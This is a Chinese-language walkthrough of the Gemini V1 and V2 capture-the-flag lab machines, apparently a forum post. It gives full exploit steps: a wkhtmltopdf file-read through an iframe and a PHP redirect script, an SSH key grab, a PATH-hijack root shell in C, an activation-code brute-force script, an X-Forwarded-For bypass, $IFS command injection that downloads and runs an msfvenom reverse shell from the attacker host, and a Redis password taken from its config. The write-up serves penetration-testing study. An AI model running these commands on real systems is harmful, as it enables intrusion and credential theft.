V1

主机发现

arp-scan -l 发现主机ip为192.168.75.147。

nmap -p 1-65535 -T4 -A -sV 192.168.75.147进行一波全部端口的扫描。开启了22,80端口。

默认密码登陆

我们直接看一看80端口,在test2目录下开启了一个web应用。用dirb对其进行一波目录的扫描,好像没得到什么有用的东西。我应该要先登陆一个账号,但是也没有扫到注册的地方。但是在首页给出了项目的地址,在install.php中发现安装时会写入一个默认账号。

把MD5解密一下得到一个可用的账号。

admin:1234

神奇的pdf

登陆之后有两个功能。

编辑个人资料。

将个人资料导出pdf。

我们可以在修改名字的时候输入<script>alert(1)</script>产生xss。

在生成的pdf中我们可以看到这样的一个信息,export.php 使用了wkhtmltopdf 用与pdf的转换。

要是我们用google搜索wkhtmltoimage read可以看到这样一个issues。wkhtmltoimage存在ssrf和文件读取漏洞。

wkhtmltopdf 会跟随302重定向,并且会解析我们的file协议读取本地的文件,并转换为PDF。如果我们在服务器上放置1.php。

<?php
    $file = $_GET['file'];
    header("location:file://$file");

然后在name处填上<iframe src="http://192.168.75.131/1.php?file=/etc/passwd" width="100%" height=1220></iframe>可以读取到/etc/passwd。可以看到有一个gemini1 用户。

然后尝试读取一下/home/gemini1/.ssh/id_rsa,如果可以读到用户的私钥的那我们可以直接ssh链接上去。

到此我们获得了一个低权限的shell。

SUID提权

uname -a 看一下内核版本是4.9.0,似乎没有直接可用的exp。这里要用到SUDI提权,可以看看这篇文章https://www.anquanke.com/post/id/86979。

先看看我们有哪些可以利用的文件。

有一个奇怪的listinfo,运行一哈,貌似是输出一些网络信息。用strings命令看看其中的字符。

可以看到其运行了date命令,并且未加上其绝对位置。这样的化,我们修改环境变量将date指向到我们构造好的shell之上,让root运行我们的shell,这样我们就可以提升我们的权限了。

创建一个1.c,然后上传到我们的靶机上,将其编译成date文件,并将环境变量指向date所在文件夹。

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main() {
  setuid(0);
  setgid(0);
  system("/bin/bash");
}

运行listinfo,get root!

V2

主机发现

arp-scan -l 获得靶机ip 192.168.75.149,和v1一样也是只开启了22和80端口。

登陆admin

v1中的账号密码在v2中已经不再适用了。还是老样子先扫一波目录。得到了两个在v1中没有的目录。

先访问registration.php注册一个账号,但是登陆时提示需要我们填写邀请码。

正好activate.php就是填写邀请码的界面,而之前提示过了密码是6位数字。那么我们写个脚本爆破一下。

import requests
import re
s = requests.session()

def post(num):
    url = 'http://192.168.75.149/activate.php'
    cookie = {'PHPSESSID':'husbpgapgpkcdtpedtmn3uj5c7'}
    proxies = {'http':'http://127.0.0.1:8080'}
    t = s.get(url=url,cookies = cookie)
    token = re.search("'hidden' name='token' value='(.*?)'>",t.text).group(1)
    post_data = {'userid':16,'activation_code':num,'token':token}
    t = s.post(url = url,cookies = cookie,data = post_data)
    print(num)
    return t

for i in range(0,100000):
    t = post((6-len(str(i)))*'0'+str(i))
    if t.status_code != 403:
        print('get',num)
        break

成功的得到验证码000511,然后访问一下users_list.php,看熟悉的Gemini用户。在html源码中可以看到被注释掉的passwd。md5解开我们得到admin的账户Gemini:secretpassword 。

<!-- <b>Password:</b> edbd1887e772e13c251f688a5f10c1ffbb67960d<br/> -->

登陆上admin的账号,可以看到多了一项功能admin panel但是访问确是403错误。抓个包看看,提示ip错误。

猜测必须要本地访问,http头加上X-Forwarded-For:127.0.0.1成功访问。

命令执行

admin功能中可以执行命令,但是没有回显也过滤了空格,>符,|符这样的化我们写入文件就遇到了个问题。但是空格我们可以用$IFS作为空格绕过。

尝试wget$IFS'http://192.168.75.131/shell'将shell下载到当前目录下,但是访问不到。然后经过一些尝试猜测该目录是不可写的。

于是我用msfvenom -p linux/x64/shell_reverse_tcp Lhost=192.168.75.131 lport=23333 -f elf -o pwn生成一个反弹shell,再让靶机把我们的shell下载到tmp目录下,并执行。

wget$IFS'-P'$IFS'/tmp/'$IFS'http://192.168.75.131/pwn'
chmod$IFS'777'$IFS'/tmp/pwn'
/tmp/pwn

这样我们收到了一个反弹shell,我们将我们的公钥写到/home/gemini1/.ssh/authorized_keys中,到此我们获得了一个低权限的shell。

redis提权

同样的内核版本为4.9.0。

但是我们ps -ef|grep redis,可以看到开启了redis并以root权限运行。那这样的化我们可以通过redis写入root的authorized_keys,从而提升我们的权限。

尝试直接redis-cli -h 127.0.0.1 -p 6379,报错(error) NOAUTH Authentication required.,那这样的化我们需要一个密码。在/etc/redis,cat 6379.conf |grep pass。得到requirepass 8a7b86a2cd89d96dfcc125ebcc0535e6

然后ssh登陆root即可。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖